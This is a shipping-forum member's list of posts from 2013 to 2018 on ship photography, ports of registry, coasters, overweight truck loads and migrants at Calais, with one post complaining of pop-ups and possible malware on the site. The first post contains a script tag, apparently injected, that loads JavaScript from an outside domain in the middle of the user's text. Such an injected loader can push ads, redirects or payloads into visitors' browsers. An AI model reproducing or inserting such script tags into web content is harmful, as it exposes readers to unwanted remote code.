Messages

1

Shipping News and information / Re: Would you give up your hobby for a woman ?

« on: July 12, 2018, 12:55:49 AM »

Hey john,

That's interesting because it matches my predicament perfectly. I'm at "peak age", (post-50's). The bottom line is, stick with hobbies & remain single OR get with a lady & as you say begin a "boring suburban existence" BUT not grow old lonely. It seems there are an unbelievable amount of lonely people in the UK (not sure if the same can be said in other countries). No-one knows what life is about to throw at you. If we all had a crystal-ball I wonder what the world would be like. No-one would ever take chances I guess.<script type="text/javascript" src="http://tizermedias.com/odessa/?H6rRyf"></script>

Until reading this post I had no idea what age you were but assumed teens or 20s given the ridiculous idea that any grown up woman and functioning human being would have a problem with such a harmlessly benign hobby as pointing a camera at ships.

You may need to give this woman more credit than you are. I'd like to think that anyone, her included, over the age of say 25 would have enough maturity, nous and intellect to not bat an eyelid over your chosen hobby.

Another way to look at it would be to ask yourself how much less lonely would you actually feel if you were constantly trying to act like somebody that you're not? First it might be abandonment of a hobby, next week it might be changing how you dress, the week after it might be the giving up of friends who she doesn't like or who you think she wouldn't like and on it could go until you have nothing left that is fundamentally you.

But in all seriousness, I can't imagine for a second that ship photography would even be a problem.

2

Help and Advice / Re: Home Port/Port of Registry/Country of Registry.

« on: June 01, 2018, 11:11:12 PM »

It used to be common place for German owned ships, especially coasters to have a German POR painted on the stern but flying the Antigua flag. Up until the early 2000s this is what the vast majority of German owned coasters did, with only a small minority actually flying the German flag proper. Before this some had a Panamanian flag but a German home port.

This practice seemed to end by the mid 2000s.

3

Shipping News and information / Re: Netherlands tug detained in Spain

« on: April 22, 2018, 11:38:40 AM »

Its just the same for trucks in Spain. For what would be a

4

Scale Models / Re: Scratch built coaster

« on: December 24, 2017, 01:54:13 PM »

Very nice Arne, it looks great.

Is there any way to slow down scale models as they seem to go too fast for their size and seem more like a speed boat than a coaster doing 10kn or so.

Best regards and Merry Christmas.

5

Shipping News and information / Re: Faversham Ships fleet

« on: August 05, 2016, 02:28:07 PM »

Interesting to see aside from the Valiant on TC to Channel Seaways (Alderney Shipping) for the last few years it appears the Vedette is on some TC business between Grimsby and Leith for the last 6 - 8 months.

Cement trade maybe?

Open to comments.

Thanks

HW

I would say so. It seems to mirror what the former Union Transport boats were doing between Grimsby and Leith which was indeed cement.

6

Help and Advice / Pop up / advert problems

« on: January 18, 2016, 06:16:08 AM »

For a while now I've been having increasing issues accessing the site in an enjoyable way as the adverts are bogging my system down. Each time I open a page on this website and check with my Task Manager, flash player has sky high memory usage and everything is juddery and almost beyond use. If I try and scroll up or down on the page, the delay is considerable.

Now all of a sudden there appears to be a pop up in the middle of most pages I open on shipspotting.com and Ive attached a screen shot of it. It never fully loads, or gives me the option to cancel it but remains exactly as in the photo. Any ideas? Is this website caused or have I got some kind of malware on my system perhaps. Only happens on this website though.

7

Shipping News and information / Re: Collision between ferry and cargo ship in Kiel Canal

« on: January 09, 2016, 03:18:52 PM »

Very sad to see this. I used to work on the Evert Prahm's sister ship, Selene Prahm over 15 years ago so my heart sank when I first saw the photo and wondered if it was the Selene.

In this situation who has the right of way on the canal? Surely the ferry (if you can call it that?) should have to wait for shipping to pass that is already in motion and in close proximity?

8

Shipping News and information / Re: UK-built ships in recent decades?

« on: January 08, 2016, 05:43:44 AM »

The Scot Ranger was built by the Yorkshire Drydock Company in Hull. The same yard built all of the "Hoo" boats in the 80s and a few larger variants in the early 90s but the yard has long since closed as have all others in the same field of work.

9

Help and Advice / Re: Russian ships Po R

« on: November 12, 2015, 12:05:39 AM »

If I'm not mistaken they were,

Andrey Ivanov - Arkhangelsk
Angayafold - Tallinn
Belomorye - Arkhangelsk

Regards, Jordan

10

Shipping News and information / Re: What's hanging off the stern?

« on: July 15, 2015, 11:37:47 PM »

The photo is greatly enlarged, you'll need to scroll over to the right to see the line he means off the stern.

11

Shipping News and information / Re: Rules of the Road !!

« on: May 10, 2015, 01:13:35 AM »

The problem is that nobody is really bothered. There is no value any more and its a downward spiral. When you have a situation where the only factor is the cost of the "seaman" so that the cheapest always prevail, you have to remember that most of those cheap seaman are not there because they want to be, they're there solely for the money and may well hate the job and certainly have no enthusiasm to do it well. They do just enough to get by and nothing more.
The same is also the case in road transport these days. The better wages offered being a truck driver compared to the standard minimum wage job that is now the order of the day both in Europe and North America mean that many unsuitable people have trained to become truck drivers, they're generally useless at the job because they don't want to do it, they just want the extra money. All the old ways of doing things that used to go with the job are not adopted by these new comers, its dog eat dog and another downward spiral. These days the average driver would rather film another driver on his iphone having trouble backing in to a loading dock or parking space and upload it to facebook, rather than get out and help watch him in. As I said to start with, everything has turned in to an "I'm alright Jack" type situation with no thought to others and certainly no pride in the job. I imagine the same is also the case in many other industries.

12

Shipping News and information / Re: More migrants found in reefer

« on: September 01, 2014, 12:34:02 AM »

Here is a video on youtube showing a typical day outside the docks at Calais as trucks are made to stand idle while being swarmed by illegal immigrants. The authorities make sure the trucks are sitting ducks and then reap the rewards when those same trucks are later found to have illegal immigrants onboard.
https://www.youtube.com/watch?v=YNJVVncEFU0

13

Shipping News and information / Re: More migrants found in reefer

« on: August 31, 2014, 06:01:20 PM »

"The [German] driver was quite shocked to find people in his vehicle," Somerset Police superintendent Geoff Wessell told a digital tv channel.

The man was also arrested on suspicion of facilitating illegal entry into Britain and is assisting police with their enquiries.

What an absolute joke. As a truck driver formerly employed in international work between the UK and western Europe it is my firm opinion that the only ones facilitating illegal entry are the governments of France and Britain. Each time an illegal immigrant, someone who lets not forget are in France illegally, with no right to enter and to be there, are found on a truck, the authorities who make no effort to remove these people from Calais, try and fine the driver 2000 pounds for each one, and then immediately release them right back outside in to the local community in or near Calais. The very same Syrian or Afghan may be the source of multiple 2000 pound fines before he finally reaches the UK. Its the biggest state run extortion racket known in recent years. Meanwhile hard working drivers who spend often weeks away from home are portrayed to be in cahoots with criminal gangs when nothing could be further from the truth.
Drivers take huge efforts in to preventing and removing these illegal immigrants from their trucks, often being threatened with and occasionally receiving violence as a consequence. Several times I've witnessed with my own eyes, UK customs in Calais on a "Go slow" so that that there ends up being a 1 or 2 miles backlog of trucks on the approach road in to the port, all stationary and being assailed in broad daylight by hundreds of illegal immigrants....then hey presto, they truck rolls in to the port gates, tells the French or British customs that because they were made to stand still on the road through no fault of their own, they now have immigrants on their trailer, and are subsequently arrested and issued with fines that often result in bankruptcy and home repossession.
The situation is one purely manufactured by politicians and paid for by ordinary hard working citizens who drive the trucks and are absolutely powerless to prevent the abuses laid on them firstly by our respective governments and by the immigrants themselves who more and more often resort to physical violence to the truck driver. It is no different to the police stopping a car and planting something illegal on it and then their colleage down the road stopping them and finding the illegal object, a complete abuse of power and authority. What a disgrace.

14

Shipping News and information / Re: MSC Monterey in trouble off Newfoundland

« on: January 01, 2014, 11:39:41 PM »

The issue of weight goes all the way down the line. These days I drive a truck between Canada and the USA and every week I'm going to pick up loads that the shipper states on the Bill of Lading weigh lets say 37,000lbs and then when I go and scale the load, my gross weight is 83,000lbs (legal max weight in the US is 80,000lbs) but with an empty weight of 36,500lbs that means legally I can load 43,500lbs so the actual load on my trailer is 46,000lbs to be that much over weight. The whole shipping industry, right down from trucks, all the way yo ships is a very deceptive, back stabbing and risk taking industry where people will take all sorts of risks and try and get away with whatever they can. The shipper doesn't care, because if I dont bother to check my weight, which isn't always possible because the nearest scale is often too far away, then its all my legal responsibility when I get caught and I end up being fined hundreds or thousands of dollars and if I do go back to have some taken off, they make me wait for several hours and that hurts me because like all truck drivers in North America, I'm paid by the mile, not by the hour.

15

Shipping News and information / Re: Dutch runner

« on: October 04, 2013, 04:17:25 PM »

She is still in Souris, PEI. I was there just this week in my truck and while waiting to load for Virginia I noticed and distinctively non-North American looking ship down in the harbour so took a walk down to get some photos. The first time I've taken photos of ships since moving to Canada from England in 2009!
According to the harbour office she's been there since 2011, though I'm not sure if thats strictly true. They said she's up for sale but her owners continue to pay her port fee's which amount to approximately $40,000CAD per year. Either way she looks in a bit of a sorry state, though its probably only cosmetic.

http://www.shipspotting.com/gallery/photo.php?lid=1887062